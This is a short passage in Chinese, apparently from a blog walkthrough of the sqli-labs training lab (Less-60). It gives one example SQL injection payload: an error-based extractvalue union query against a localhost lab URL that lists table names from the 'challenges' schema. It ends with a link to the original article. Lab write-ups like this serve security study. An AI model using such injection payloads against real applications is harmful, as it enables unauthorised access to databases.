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与上述一致,同样给出一个示例payload:
http://127.0.0.1/sqli-labs/Less-60/?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e))--+
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原文地址:http://www.cnblogs.com/lcamry/p/5762620.html